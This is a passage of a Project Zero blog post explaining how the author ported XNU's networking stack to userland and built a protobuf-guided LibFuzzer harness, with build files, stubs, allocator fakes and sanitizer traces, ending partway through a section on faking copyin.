Posted by Ned Williamson, Project Zero
Introduction
When I started my 20% project – an initiative where employees are allocated twenty-percent of their paid work time to pursue personal projects – with Project Zero, I wanted to see if I could apply the techniques I had learned fuzzing Chrome to XNU, the kernel used in iOS and macOS. My interest was sparked after learning some prominent members of the iOS research community believed the kernel was “fuzzed to death,” and my understanding was that most of the top researchers used auditing for vulnerability research. This meant finding new bugs with fuzzing would be meaningful in demonstrating the value of implementing newer fuzzing techniques. In this project, I pursued a somewhat unusual approach to fuzz XNU networking in userland by converting it into a library, “booting” it in userspace and using my standard fuzzing workflow to discover vulnerabilities. Somewhat surprisingly, this worked well enough to reproduce some of my peers’ recent discoveries and report some of my own, one of which was a reliable privilege escalation from the app context, CVE-2019-8605, dubbed “SockPuppet.” I’m excited to open source this fuzzing project, “sockfuzzer,” for the community to learn from and adapt. In this post, we’ll do a deep dive into its design and implementation.
Attack Surface Review and Target Planning
# Choosing Networking
We’re at the beginning of a multistage project. I had enormous respect for the difficulty of the task ahead of me. I knew I would need to be careful investing time at each stage of the process, constantly looking for evidence that I needed to change direction. The first big decision was to decide what exactly we wanted to target.
I started by downloading the [XNU sources](<https://opensource.apple.com/tarballs/xnu/>) and reviewing them, looking for areas that handled a lot of attacker-controlled input and seemed amenable to fuzzing – immediately the networking subsystem jumped out as worthy of research. I had just exploited a Chrome sandbox bug that leveraged collaboration between an exploited renderer process and a server working in concert. I recognized these attack surfaces’ power, where some security-critical code is “sandwiched” between two attacker-controlled entities. The Chrome browser process is prone to use after free vulnerabilities due to the difficulty of managing state for large APIs, and I suspected XNU would have the same issue. Networking features both parsing and state management. I figured that even if others had already fuzzed the parsers extensively, there could still be use after free vulnerabilities lying dormant.
I then proceeded to look at recent bug reports. Two bugs that caught my eye: the [mptcp overflow](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1558>) discovered by Ian Beer and the ICMP [out of bounds write](<https://securitylab.github.com/research/apple-xnu-icmp-error-CVE-2018-4407>) found by Kevin Backhouse. Both of these are somewhat “straightforward” buffer overflows. The bugs’ simplicity hinted that kernel networking, even packet parsing, was sufficiently undertested. A fuzzer combining network syscalls and arbitrary remote packets should be large enough in scope to reproduce these issues and find new ones.
Digging deeper, I wanted to understand how to reach these bugs in practice. By cross-referencing the functions and setting kernel breakpoints in a VM, I managed to get a more concrete idea. Here’s the call stack for Ian’s MPTCP bug:
[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixaqhrlPJxgqVridccvdElpi6yxaoJCSUXDp5q8hm_F66e5WHW3NRaFwmy-OWQvCKz661k3LEfi4A4r2sa1LkgMb8pu8CEVjKbzTkblc8SZZYcOsKkw7u0uG2qo5KzCdjbxixJ-CplQI2nohuVE1_t07PiNW-xRxnW-3e4WtILcCE6CoYjbN1D6UPi/s623/image3%282%29.png>)
The buggy function in question is mptcp_usr_connectx. Moving up the call stack, we find the connectx syscall, which we see in Ian’s original testcase. If we were to write a fuzzer to find this bug, how would we do it? Ultimately, whatever we do has to both find the bug and give us the information we need to reproduce it on the real kernel. Calling mptcp_usr_connectx directly should surely find the bug, but this seems like the wrong idea because it takes a lot of arguments. Modeling a fuzzer well enough to call this function directly in a way representative of the real code is no easier than auditing the code in the first place, so we’ve not made things any easier by writing a targeted fuzzer. It’s also wasted effort to write a target for each function this small. On the other hand, the further up the call stack we go, the more complexity we may have to support and the less chance we have of landing on the bug. If I were trying to unit test the networking stack, I would probably avoid the syscall layer and call the intermediate helper functions as a middle ground. This is exactly what I tried in the first draft of the fuzzer; I used [sock_socket](<https://developer.apple.com/documentation/kernel/1396122-sock_socket>) to create struct socket* objects to pass to connectitx in the hopes that it would be easy to reproduce this bug while being high-enough level that this bug could plausibly have been discovered without knowing where to look for it. Surprisingly, after some experimentation, it turned out to be easier to simply call the syscalls directly (via connectx). This makes it easier to translate crashing inputs into programs to run against a real kernel since testcases map 1:1 to syscalls. We’ll see more details about this later.
We can’t test networking properly without accounting for packets. In this case, data comes from the hardware, not via syscalls from a user process. We’ll have to expose this functionality to our fuzzer. To figure out how to extend our framework to support random packet delivery, we can use our next example bug. Let’s take a look at the call stack for delivering a packet to trigger the ICMP bug reported by Kevin Backhouse:
[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjN_4qMCDG0R3Ix94ctakWAgk3QmZ1JVD0IxQVjr9ft44Eu2a3VYxzWkueZJvf8MUd2qsf2Z-Qk2elUh_Zl-Cx5D9k6ueDM-pJNT9LeT3Ruhtc_CAgn0SL1M2XVCL_BYiTya834YqPEYuU5kH0nU68d7eUJrsUuY-hGEZ3EfiX_yCZ7ZvlDnQoQceOe/s450/image2%281%29.png>)
To reach the buggy function, icmp_error, the call stack is deeper, and unlike with syscalls, it’s not immediately obvious which of these functions we should call to cover the relevant code. Starting from the very top of the call stack, we see that the crash occurred in a kernel thread running the dlil_input_thread_func function. DLIL stands for Data Link Interface Layer, a reference to the OSI model’s [data link layer](<https://en.wikipedia.org/wiki/Data_link_layer>). Moving further down the stack, we see ether_inet_input, indicating an Ethernet packet (since I tested this issue using Ethernet). We finally make it down to the IP layer, where ip_dooptions signals an icmp_error. As an attacker, we probably don’t have a lot of control over the interface a user uses to receive our input, so we can rule out some of the uppermost layers. We also don’t want to deal with threads in our fuzzer, another design tradeoff we’ll describe in more detail later. proto_input and ip_proto_input don’t do much, so I decided that ip_proto was where I would inject packets, simply by calling the function when I wanted to deliver a packet. After reviewing proto_register_input, I discovered another function called ip6_input, which was the entry point for the IPv6 code. Here’s the prototype for ip_input:
void ip_input(struct mbuf *m);
---
Mbufs are message buffers, a standard buffer format used in network stacks. They enable multiple small packets to be chained together through a linked list. So we just need to generate mbufs with random data before calling ip_input.
I was surprised by how easy it was to work with the network stack compared to the syscall interface. `ip_input` and `ip6_input` pure functions that don’t require us to know any state to call them. But stepping back, it made more sense. Packet delivery is inherently a clean interface: our kernel has no idea what arbitrary packets may be coming in, so the interface takes a raw packet and then further down in the stack decides how to handle it. Many packets contain metadata that affect the kernel state once received. For example, TCP or UDP packets will be matched to an existing connection by their port number.
Most modern coverage guided fuzzers, including this LibFuzzer-based project, use a design inspired by AFL. When a test case with some known coverage is mutated and the mutant produces coverage that hasn’t been seen before, the mutant is added to the current corpus of inputs. It becomes available for further mutations to produce even deeper coverage. Lcamtuf, the author of AFL, has an excellent demonstration of how this algorithm [created JPEGs using coverage feedback](<https://lcamtuf.blogspot.com/2014/11/pulling-jpegs-out-of-thin-air.html>) with no well-formed starting samples. In essence, most poorly-formed inputs are rejected early. When a mutated input passes a validation check, the input is saved. Then that input can be mutated until it manages to pass the second validation check, and so on. This hill climbing algorithm has no problem generating dependent sequences of API calls, in this case to interleave syscalls with ip_input and ip6_input. Random syscalls can get the kernel into some state where it’s expecting a packet. Later, when libFuzzer guesses a packet that gets the kernel into some new state, the hill climbing algorithm will record a new test case when it sees new coverage. Dependent sequences of syscalls and packets are brute-forced in a linear fashion, one call at a time.
Designing for (Development) Speed
Now that we know where to attack this code base, it’s a matter of building out the fuzzing research platform. I like thinking of it this way because it emphasizes that this fuzzer is a powerful assistant to a researcher, but it can’t do all the work. Like any other test framework, it empowers the researcher to make hypotheses and run experiments over code that looks buggy. For the platform to be helpful, it needs to be comfortable and fun to work with and get out of the way.
When it comes to standard practice for kernel fuzzing, there’s a pretty simple spectrum for strategies. On one end, you fuzz self-contained functions that are security-critical, e.g., OSUnserializeBinary. These are easy to write and manage and are generally quite performant. On the other end, you have “end to end” kernel testing that performs random syscalls against a real kernel instance. These heavyweight fuzzers have the advantage of producing issues that you know are actionable right away, but setup and iterative development are slower. I wanted to try a hybrid approach that could preserve some of the benefits of each style. To do so, I would port the networking stack of XNU out of the kernel and into userland while preserving as much of the original code as possible. Kernel code can be surprisingly portable and amenable to unit testing, even when run outside its natural environment.
There has been a push to add more user-mode unit testing to Linux. If you look at the documentation for Linux’s [KUnit project](<https://www.kernel.org/doc/html/latest/dev-tools/kunit/index.html>), there’s an excellent quote from Linus Torvalds: “… a lot of people seem to think that performance is about doing the same thing, just doing it faster, and that is not true. That is not what performance is all about. If you can do something really fast, really well, people will start using it differently.” This statement echoes the experience I had writing targeted fuzzers for code in Chrome’s browser process. Due to extensive unit testing, Chrome code is already well-factored for fuzzing. In a day’s work, I could try out many iterations of a fuzz target and the edit/build/run cycle. I didn’t have a similar mechanism out of the box with XNU. In order to perform a unit test, I would need to rebuild the kernel. And despite XNU being considerably smaller than Chrome, incremental builds were slower due to the older kmk build system. I wanted to try bridging this gap for XNU.
Setting up the Scaffolding
“Unit” testing a kernel up through the syscall layer sounds like a big task, but it’s easier than you’d expect if you forgo some complexity. We’ll start by building all of the individual kernel object files from source using the original build flags. But instead of linking everything together to produce the final kernel binary, we link in only the subset of objects containing code in our target attack surface. We then stub or fake the rest of the functionality. Thanks to the recon in the previous section, we already know which functions we want to call from our fuzzer. I used that information to prepare a minimal list of source objects to include in our userland port.
Before we dive in, let’s define the overall structure of the project as pictured below. There’s going to be a fuzz target implemented in C++ that translates fuzzed inputs into interactions with the userland XNU library. The target code, libxnu, exposes a few wrapper symbols for syscalls and ip_input as mentioned in the attack surface review section. The fuzz target also exposes its random sequence of bytes to kernel APIs such as copyin or copyout, whose implementations have been replaced with fakes that use fuzzed input data.
[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhd7HxZOpEaZ0zOKXMwVP0f3hRjwuUrChoR3_v_y91gddRnq4T-t7FCJt5mmG3EGwaK3-HT_hibQyi-0CgwigF9hGZBfNaJhssUQG0KBYoyVGpXRHWgtVAUhC1EOgHgyb_vfiqdYGWxZE7N9y0ysw-0ikT-Kj_ljONiFGGMUPagiidn4dzLgSP8EvX-/s1051/image1%283%29.png>)
To make development more manageable, I decided to create a new build system using CMake, as it supported Ninja for fast rebuilds. One drawback here is the original build system has to be run every time upstream is updated to deal with generated sources, but this is worth it to get a faster development loop. I captured all of the compiler invocations during a normal kernel build and used those to reconstruct the flags passed to build the various kernel subsystems. Here’s what that first pass looks like:
project(libxnu)
set(XNU_DEFINES
-DAPPLE
-DKERNEL
# ...
)
set(XNU_SOURCES
bsd/conf/param.c
bsd/kern/kern_asl.c
bsd/net/if.c
bsd/netinet/ip_input.c
# ...
)
add_library(xnu SHARED ${XNU_SOURCES} ${FUZZER_FILES} ${XNU_HEADERS})
protobuf_generate_cpp(NET_PROTO_SRCS NET_PROTO_HDRS fuzz/net_fuzzer.proto)
add_executable(net_fuzzer fuzz/net_fuzzer.cc ${NET_PROTO_SRCS} ${NET_PROTO_HDRS})
target_include_directories(net_fuzzer PRIVATE libprotobuf-mutator)
target_compile_options(net_fuzzer PRIVATE ${FUZZER_CXX_FLAGS})
---
Of course, without the rest of the kernel, we see tons of missing symbols.
"_zdestroy", referenced from:
_if_clone_detach in libxnu.a(if.c.o)
"_zfree", referenced from:
_kqueue_destroy in libxnu.a(kern_event.c.o)
_knote_free in libxnu.a(kern_event.c.o)
_kqworkloop_get_or_create in libxnu.a(kern_event.c.o)
_kev_delete in libxnu.a(kern_event.c.o)
_pipepair_alloc in libxnu.a(sys_pipe.c.o)
_pipepair_destroy_pipe in libxnu.a(sys_pipe.c.o)
_so_cache_timer in libxnu.a(uipc_socket.c.o)
...
"_zinit", referenced from:
_knote_init in libxnu.a(kern_event.c.o)
_kern_event_init in libxnu.a(kern_event.c.o)
_pipeinit in libxnu.a(sys_pipe.c.o)
_socketinit in libxnu.a(uipc_socket.c.o)
_unp_init in libxnu.a(uipc_usrreq.c.o)
_cfil_init in libxnu.a(content_filter.c.o)
_tcp_init in libxnu.a(tcp_subr.c.o)
...
"_zone_change", referenced from:
_knote_init in libxnu.a(kern_event.c.o)
_kern_event_init in libxnu.a(kern_event.c.o)
_socketinit in libxnu.a(uipc_socket.c.o)
_cfil_init in libxnu.a(content_filter.c.o)
_tcp_init in libxnu.a(tcp_subr.c.o)
_ifa_init in libxnu.a(if.c.o)
_if_clone_attach in libxnu.a(if.c.o)
...
ld: symbol(s) not found for architecture x86_64
clang: error: linker command failed with exit code 1 (use -v to see invocation)
ninja: build stopped: subcommand failed.
---
To get our initial targeted fuzzer working, we can do a simple trick by linking against a file containing stubbed implementations of all of these. We take advantage of C’s weak type system here. For each function we need to implement, we can link an implementation void func() { assert(false); }. The arguments passed to the function are simply ignored, and a crash will occur whenever the target code attempts to call it. This goal can be achieved with linker flags, but it was a simple enough solution that allowed me to get nice backtraces when I hit an unimplemented function.
// Unimplemented stub functions
// These should be replaced with real or mock impls.
#include <kern/assert.h>
#include <stdbool.h>
int printf(const char* format, ...);
void Assert(const char* file, int line, const char* expression) {
printf("%s: assert failed on line %d: %s\n", file, line, expression);
__builtin_trap();
}
void IOBSDGetPlatformUUID() { assert(false); }
void IOMapperInsertPage() { assert(false); }
// ...
---
Then we just link this file into the XNU library we’re building by adding it to the source list:
set(XNU_SOURCES
bsd/conf/param.c
bsd/kern/kern_asl.c
# ...
fuzz/syscall_wrappers.c
fuzz/ioctl.c
fuzz/backend.c
fuzz/stubs.c
fuzz/fake_impls.c
---
As you can see, there are some other files I included in the XNU library that represent faked implementations and helper code to expose some internal kernel APIs. To make sure our fuzz target will call code in the linked library, and not some other host functions (syscalls) with a clashing name, we hide all of the symbols in libxnu by default and then expose a set of wrappers that call those functions on our behalf. I hide all the names by default using a CMake setting set_target_properties(xnu PROPERTIES C_VISIBILITY_PRESET hidden). Then we can link in a file (fuzz/syscall_wrappers.c) containing wrappers like the following:
__attribute__((visibility("default"))) int accept_wrapper(int s, caddr_t name,
socklen_t* anamelen,
int* retval) {
struct accept_args uap = {
.s = s,
.name = name,
.anamelen = anamelen,
};
return accept(kernproc, &uap, retval);
}
---
Note the visibility attribute that explicitly exports the symbol from the library. Due to the simplicity of these wrappers I created a script to automate this called generate_fuzzer.py using syscalls.master.
With the stubs in place, we can start writing a fuzz target now and come back to deal with implementing them later. We will see a crash every time the target code attempts to use one of the functions we initially left out. Then we get to decide to either include the real implementation (and perhaps recursively require even more stubbed function implementations) or to fake the functionality.
A bonus of getting a build working with CMake was to create multiple targets with different instrumentation. Doing so allows me to generate coverage reports using clang-coverage:
target_compile_options(xnu-cov PRIVATE ${XNU_C_FLAGS} -DLIBXNU_BUILD=1 -D_FORTIFY_SOURCE=0 -fprofile-instr-generate -fcoverage-mapping)
---
With that, we just add a fuzz target file and a protobuf file to use with protobuf-mutator and we’re ready to get started:
protobuf_generate_cpp(NET_PROTO_SRCS NET_PROTO_HDRS fuzz/net_fuzzer.proto)
add_executable(net_fuzzer fuzz/net_fuzzer.cc ${NET_PROTO_SRCS} ${NET_PROTO_HDRS})
target_include_directories(net_fuzzer PRIVATE libprotobuf-mutator)
target_compile_options(net_fuzzer
PRIVATE -g
-std=c++11
-Werror
-Wno-address-of-packed-member
${FUZZER_CXX_FLAGS})
if(APPLE)
target_link_libraries(net_fuzzer ${FUZZER_LD_FLAGS} xnu fuzzer protobuf-mutator ${Protobuf_LIBRARIES})
else()
target_link_libraries(net_fuzzer ${FUZZER_LD_FLAGS} xnu fuzzer protobuf-mutator ${Protobuf_LIBRARIES} pthread)
endif(APPLE)
---
Writing a Fuzz Target
At this point, we’ve assembled a chunk of XNU into a convenient library, but we still need to interact with it by writing a fuzz target. At first, I thought I might write many targets for different features, but I decided to write one monolithic target for this project. I’m sure fine-grained targets could do a better job for functionality that’s harder to fuzz, e.g., the TCP state machine, but we will stick to one for simplicity.
We’ll start by specifying an input grammar using protobuf, part of which is depicted below. This grammar is completely arbitrary and will be used by a corresponding C++ harness that we will write next. LibFuzzer has a plugin called libprotobuf-mutator that knows how to mutate protobuf messages. This will enable us to do grammar-based mutational fuzzing efficiently, while still leveraging coverage guided feedback. This is a very powerful combination.
message Socket {
required Domain domain = 1;
required SoType so_type = 2;
required Protocol protocol = 3;
// TODO: options, e.g. SO_ACCEPTCONN
}
message Close {
required FileDescriptor fd = 1;
}
message SetSocketOpt {
optional Protocol level = 1;
optional SocketOptName name = 2;
// TODO(nedwill): structure for val
optional bytes val = 3;
optional FileDescriptor fd = 4;
}
message Command {
oneof command {
Packet ip_input = 1;
SetSocketOpt set_sock_opt = 2;
Socket socket = 3;
Close close = 4;
}
}
message Session {
repeated Command commands = 1;
required bytes data_provider = 2;
}
---
I left some TODO comments intact so you can see how the grammar can always be improved. As I’ve done in similar fuzzing projects, I have a top-level message called Session that encapsulates a single fuzzer iteration or test case. This session contains a sequence of “commands” and a sequence of bytes that can be used when random, unstructured data is needed (e.g., when doing a copyin). Commands are syscalls or random packets, which in turn are their own messages that have associated data. For example, we might have a session that has a single Command message containing a “Socket” message. That Socket message has data associated with each argument to the syscall. In our C++-based target, it’s our job to translate messages of this custom specification into real syscalls and related API calls. We inform libprotobuf-mutator that our fuzz target expects to receive one “Session” message at a time via the macro DEFINE_BINARY_PROTO_FUZZER.
DEFINE_BINARY_PROTO_FUZZER(const Session &session) {
// ...
std::set<int> open_fds;
for (const Command &command : session.commands()) {
int retval = 0;
switch (command.command_case()) {
case Command::kSocket: {
int fd = 0;
int err = socket_wrapper(command.socket().domain(),
command.socket().so_type(),
command.socket().protocol(), &fd);
if (err == 0) {
// Make sure we're tracking fds properly.
if (open_fds.find(fd) != open_fds.end()) {
printf("Found existing fd %d\n", fd);
assert(false);
}
open_fds.insert(fd);
}
break;
}
case Command::kClose: {
open_fds.erase(command.close().fd());
close_wrapper(command.close().fd(), nullptr);
break;
}
case Command::kSetSockOpt: {
int s = command.set_sock_opt().fd();
int level = command.set_sock_opt().level();
int name = command.set_sock_opt().name();
size_t size = command.set_sock_opt().val().size();
std::unique_ptr<char[]> val(new char[size]);
memcpy(val.get(), command.set_sock_opt().val().data(), size);
setsockopt_wrapper(s, level, name, val.get(), size, nullptr);
break;
}
---
While syscalls are typically a straightforward translation of the protobuf message, other commands are more complex. In order to improve the structure of randomly generated packets, I added custom message types that I then converted into the relevant on-the-wire structure before passing it into ip_input. Here’s how this looks for TCP:
message Packet {
oneof packet {
TcpPacket tcp_packet = 1;
}
}
message TcpPacket {
required IpHdr ip_hdr = 1;
required TcpHdr tcp_hdr = 2;
optional bytes data = 3;
}
message IpHdr {
required uint32 ip_hl = 1;
required IpVersion ip_v = 2;
required uint32 ip_tos = 3;
required uint32 ip_len = 4;
required uint32 ip_id = 5;
required uint32 ip_off = 6;
required uint32 ip_ttl = 7;
required Protocol ip_p = 8;
required InAddr ip_src = 9;
required InAddr ip_dst = 10;
}
message TcpHdr {
required Port th_sport = 1;
required Port th_dport = 2;
required TcpSeq th_seq = 3;
required TcpSeq th_ack = 4;
required uint32 th_off = 5;
repeated TcpFlag th_flags = 6;
required uint32 th_win = 7;
required uint32 th_sum = 8;
required uint32 th_urp = 9;
// Ned's extensions
required bool is_pure_syn = 10;
required bool is_pure_ack = 11;
}
---
Unfortunately, protobuf doesn’t support a uint8 type, so I had to use uint32 for some fields. That’s some lost fuzzing performance. You can also see some synthetic TCP header flags I added to make certain flag combinations more likely: is_pure_syn and is_pure_ack. Now I have to write some code to stitch together a valid packet from these nested fields. Shown below is the code to handle just the TCP header.
std::string get_tcp_hdr(const TcpHdr &hdr) {
struct tcphdr tcphdr = {
.th_sport = (unsigned short)hdr.th_sport(),
.th_dport = (unsigned short)hdr.th_dport(),
.th_seq = __builtin_bswap32(hdr.th_seq()),
.th_ack = __builtin_bswap32(hdr.th_ack()),
.th_off = hdr.th_off(),
.th_flags = 0,
.th_win = (unsigned short)hdr.th_win(),
.th_sum = 0, // TODO(nedwill): calculate the checksum instead of skipping it
.th_urp = (unsigned short)hdr.th_urp(),
};
for (const int flag : hdr.th_flags()) {
tcphdr.th_flags ^= flag;
}
// Prefer pure syn
if (hdr.is_pure_syn()) {
tcphdr.th_flags &= ~(TH_RST | TH_ACK);
tcphdr.th_flags |= TH_SYN;
} else if (hdr.is_pure_ack()) {
tcphdr.th_flags &= ~(TH_RST | TH_SYN);
tcphdr.th_flags |= TH_ACK;
}
std::string dat((char *)&tcphdr, (char *)&tcphdr + sizeof(tcphdr));
return dat;
}
---
As you can see, I make liberal use of a custom grammar to enable better quality fuzzing. These efforts are worth it, as randomizing high level structure is more efficient. It will also be easier for us to interpret crashing test cases later as they will have the same high level representation.
High-Level Emulation
Now that we have the code building and an initial fuzz target running, we begin the first pass at implementing all of the stubbed code that is reachable by our fuzz target. Because we have a fuzz target that builds and runs, we now get instant feedback about which functions our target hits. Some core functionality has to be supported before we can find any bugs, so the first attempt to run the fuzzer deserves its own development phase. For example, until dynamic memory allocation is supported, almost no kernel code we try to cover will work considering how heavily such code is used.
We’ll be implementing our stubbed functions with fake variants that attempt to have the same semantics. For example, when testing code that uses an external database library, you could replace the database with a simple in-memory implementation. If you don’t care about finding database bugs, this often makes fuzzing simpler and more robust. For some kernel subsystems unrelated to networking we can use entirely different or null implementations. This process is reminiscent of high-level emulation, an idea used in game console emulation. Rather than aiming to emulate hardware, you can try to preserve the semantics but use a custom implementation of the API. Because we only care about testing networking, this is how we approach faking subsystems in this project.
I always start by looking at the original function implementation. If it’s possible, I just link in that code as well. But some functionality isn’t compatible with our fuzzer and must be faked. For example, zalloc should call the userland malloc since virtual memory is already managed by our host kernel and we have allocator facilities available. Similarly, copyin and copyout need to be faked as they no longer serve to copy data between user and kernel pages. Sometimes we also just “nop” out functionality that we don’t care about. We’ll cover these decisions in more detail later in the “High-Level Emulation” phase. Note that by implementing these stubs lazily whenever our fuzz target hits them, we immediately reduce the work in handling all the unrelated functions by an order of magnitude. It’s easier to stay motivated when you only implement fakes for functions that are used by the target code. This approach successfully saved me a lot of time and I’ve used it on subsequent projects as well. At the time of writing, I have 398 stubbed functions, about 250 functions that are trivially faked (return 0 or void functions that do nothing), and about 25 functions that I faked myself (almost all related to porting the memory allocation systems to userland).
# Booting Up
As soon as we start running the fuzzer, we’ll run into a snag: many resources require a one-time initialization that happens on boot. The BSD half of the kernel is mostly initialized by calling the bsd_init function. That function, in turn, calls several subsystem-specific initialization functions. Keeping with the theme of supporting a minimally necessary subset of the kernel, rather than call bsd_init, we create a new function that only initializes parts of the kernel as needed.
Here’s an example crash that occurs without the one time kernel bootup initialization:
#7 0x7effbc464ad0 in zalloc /source/build3/../fuzz/zalloc.c:35:3
#8 0x7effbb62eab4 in pipepair_alloc /source/build3/../bsd/kern/sys_pipe.c:634:24
#9 0x7effbb62ded5 in pipe /source/build3/../bsd/kern/sys_pipe.c:425:10
#10 0x7effbc4588ab in pipe_wrapper /source/build3/../fuzz/syscall_wrappers.c:216:10
#11 0x4ee1a4 in TestOneProtoInput(Session const&) /source/build3/../fuzz/net_fuzzer.cc:979:19
---
Our zalloc implementation (covered in the next section) failed because the pipe zone wasn’t yet initialized:
static int
pipepair_alloc(struct pipe **rp_out, struct pipe **wp_out)
{
struct pipepair *pp = zalloc(pipe_zone);
---
Scrolling up in sys_pipe.c, we see where that zone is initialized:
void
pipeinit(void)
{
nbigpipe = 0;
vm_size_t zone_size;
zone_size = 8192 * sizeof(struct pipepair);
pipe_zone = zinit(sizeof(struct pipepair), zone_size, 4096, "pipe zone");
---
Sure enough, this function is called by bsd_init. By adding that to our initial setup function the zone works as expected. After some development cycles spent supporting all the needed bsd_init function calls, we have the following:
__attribute__((visibility("default"))) bool initialize_network() {
mcache_init();
mbinit();
eventhandler_init();
pipeinit();
dlil_init();
socketinit();
domaininit();
loopattach();
ether_family_init();
tcp_cc_init();
net_init_run();
int res = necp_init();
assert(!res);
return true;
}
---
The original bsd_init is 683 lines long, but our initialize_network clone is the preceding short snippet. I want to remark how cool I found it that you could “boot” a kernel like this and have everything work so long as you implemented all the relevant stubs. It just goes to show a surprising fact: a significant amount of kernel code is portable, and simple steps can be taken to make it testable. These codebases can be modernized without being fully rewritten. As this “boot” relies on dynamic allocation, let’s look at how I implemented that next.
# Dynamic Memory Allocation
Providing a virtual memory abstraction is a fundamental goal of most kernels, but the good news is this is out of scope for this project (this is left as an exercise for the reader). Because networking already assumes working virtual memory, the network stack functions almost entirely on top of high-level allocator APIs. This makes the subsystem amenable to “high-level emulation”. We can create a thin shim layer that intercepts XNU specific allocator calls and translates them to the relevant host APIs.
In practice, we have to handle three types of allocations for this project: “classic” allocations (malloc/calloc/free), zone allocations (zalloc), and mbuf (memory buffers). The first two types are more fundamental allocation types used across XNU, while mbufs are a common data structure used in low-level networking code.
The zone allocator is reasonably complicated, but we use a simplified model for our purposes: we just track the size assigned to a zone when it is created and make sure we malloc that size when zalloc is later called using the initialized zone. This could undoubtedly be modeled better, but this initial model worked quite well for the types of bugs I was looking for. In practice, this simplification affects exploitability, but we aren’t worried about that for a fuzzing project as we can assess that manually once we discover an issue. As you can see below, I created a custom zone type that simply stored the configured size, knowing that my zinit would return an opaque pointer that would be passed to my zalloc implementation, which could then use calloc to service the request. zfree simply freed the requested bytes and ignored the zone, as allocation sizes are tracked by the host malloc already.
struct zone {
uintptr_t size;
};
struct zone* zinit(uintptr_t size, uintptr_t max, uintptr_t alloc,
const char* name) {
struct zone* zone = (struct zone*)calloc(1, sizeof(struct zone));
zone->size = size;
return zone;
}
void* zalloc(struct zone* zone) {
assert(zone != NULL);
return calloc(1, zone->size);
}
void zfree(void* zone, void* dat) {
(void)zone;
free(dat);
}
---
Kalloc, kfree, and related functions were passed through to malloc and free as well. You can see fuzz/zalloc.c for their implementations. Mbufs (memory buffers) are more work to implement because they contain considerable metadata that is exposed to the “client” networking code.
struct m_hdr {
struct mbuf *mh_next; /* next buffer in chain */
struct mbuf *mh_nextpkt; /* next chain in queue/record */
caddr_t mh_data; /* location of data */
int32_t mh_len; /* amount of data in this mbuf */
u_int16_t mh_type; /* type of data in this mbuf */
u_int16_t mh_flags; /* flags; see below */
};
/*
* The mbuf object
*/
struct mbuf {
struct m_hdr m_hdr;
union {
struct {
struct pkthdr MH_pkthdr; /* M_PKTHDR set */
union {
struct m_ext MH_ext; /* M_EXT set */
char MH_databuf[_MHLEN];
} MH_dat;
} MH;
char M_databuf[_MLEN]; /* !M_PKTHDR, !M_EXT */
} M_dat;
};
---
I didn’t include the pkthdr nor m_ext structure definitions, but they are nontrivial (you can see for yourself in bsd/sys/mbuf.h). A lot of trial and error was needed to create a simplified mbuf format that would work. In practice, I use an inline buffer when possible and, when necessary, locate the data in one large external buffer and set the M_EXT flag. As these allocations must be aligned, I use posix_memalign to create them, rather than malloc. Fortunately ASAN can help manage these allocations, so we can detect some bugs with this modification.
Two bugs I reported via the Project Zero tracker highlight the benefit of the heap-based mbuf implementation. In the [first report](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1981>), I detected an mbuf double free using ASAN. While the m_free implementation tries to detect double frees by checking the state of the allocation, ASAN goes even further by quarantining recently freed allocations to detect the bug. In this case, it looks like the fuzzer would have found the bug either way, but it was impressive. The [second issue](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1976>) linked is much subtler and requires some instrumentation to detect the bug, as it is a use after free read of an mbuf:
==22568==ERROR: AddressSanitizer: heap-use-after-free on address 0x61500026afe5 at pc 0x7ff60f95cace bp 0x7ffd4d5617b0 sp 0x7ffd4d5617a8
READ of size 1 at 0x61500026afe5 thread T0
#0 0x7ff60f95cacd in tcp_input bsd/netinet/tcp_input.c:5029:25
#1 0x7ff60f949321 in tcp6_input bsd/netinet/tcp_input.c:1062:2
#2 0x7ff60fa9263c in ip6_input bsd/netinet6/ip6_input.c:1277:10
0x61500026afe5 is located 229 bytes inside of 256-byte region [0x61500026af00,0x61500026b000)
freed by thread T0 here:
#0 0x4a158d in free /b/swarming/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cpp:123:3
#1 0x7ff60fb7444d in m_free fuzz/zalloc.c:220:3
#2 0x7ff60f4e3527 in m_freem bsd/kern/uipc_mbuf.c:4842:7
#3 0x7ff60f5334c9 in sbappendstream_rcvdemux bsd/kern/uipc_socket2.c:1472:3
#4 0x7ff60f95821d in tcp_input bsd/netinet/tcp_input.c:5019:8
#5 0x7ff60f949321 in tcp6_input bsd/netinet/tcp_input.c:1062:2
#6 0x7ff60fa9263c in ip6_input bsd/netinet6/ip6_input.c:1277:10
---
Apple managed to catch this issue before I reported it, fixing it in iOS 13. I believe Apple has added some internal hardening or testing for mbufs that caught this bug. It could be anything from a hardened mbuf allocator like [GWP-ASAN](<https://llvm.org/docs/GwpAsan.html>), to an internal ARM MTE test, to simple auditing, but it was really cool to see this issue detected in this way, and also that Apple was proactive enough to find this themselves.
# Accessing User Memory
When talking about this project with a fellow attendee at a fuzzing conference, their biggest question was how I handled user memory access. Kernels are never supposed to trust pointers provided by user-space, so whenever the kernel wants to access memory-mapped in userspace, it goes through intermediate functions copyin and copyout. By replacing these functions with our fake implementations, we can supply fuzzer-provided input to the tested code. The real kernel would have done the relevant copies from user to kernel pages. Because these copies are driven by the target code and not our testcase, I added a buffer in the protobuf specification to be used to service these requests.
Here’s a backtrace from our stub before we implement `copyin`. As you can see, when calling the `recvfrom` syscall, our fuzzer passed in a pointer as an argument.
#6 0x7fe1176952f3 in Assert /source/build3/../fuzz/stubs.c:21:3
#7 0x7fe11769a110 in copyin /source/build3/../fuzz/fake_impls.c:408:3
#8 0x7fe116951a18 in __copyin_chk /source/build3/../bsd/libkern/copyio.h:47:9
#9 0x7fe116951a18 in recvfrom_nocancel /source/build3/../bsd/kern/uipc_syscalls.c:2056:11
#10 0x7fe117691a86 in recvfrom_nocancel_wrapper /source/build3/../fuzz/syscall_wrappers.c:244:10
#11 0x4e933a in TestOneProtoInput(Session const&) /source/build3/../fuzz/net_fuzzer.cc:936:9
#12 0x4e43b8 in LLVMFuzzerTestOneInput /source/build3/../fuzz/net_fuzzer.cc:631:1
---
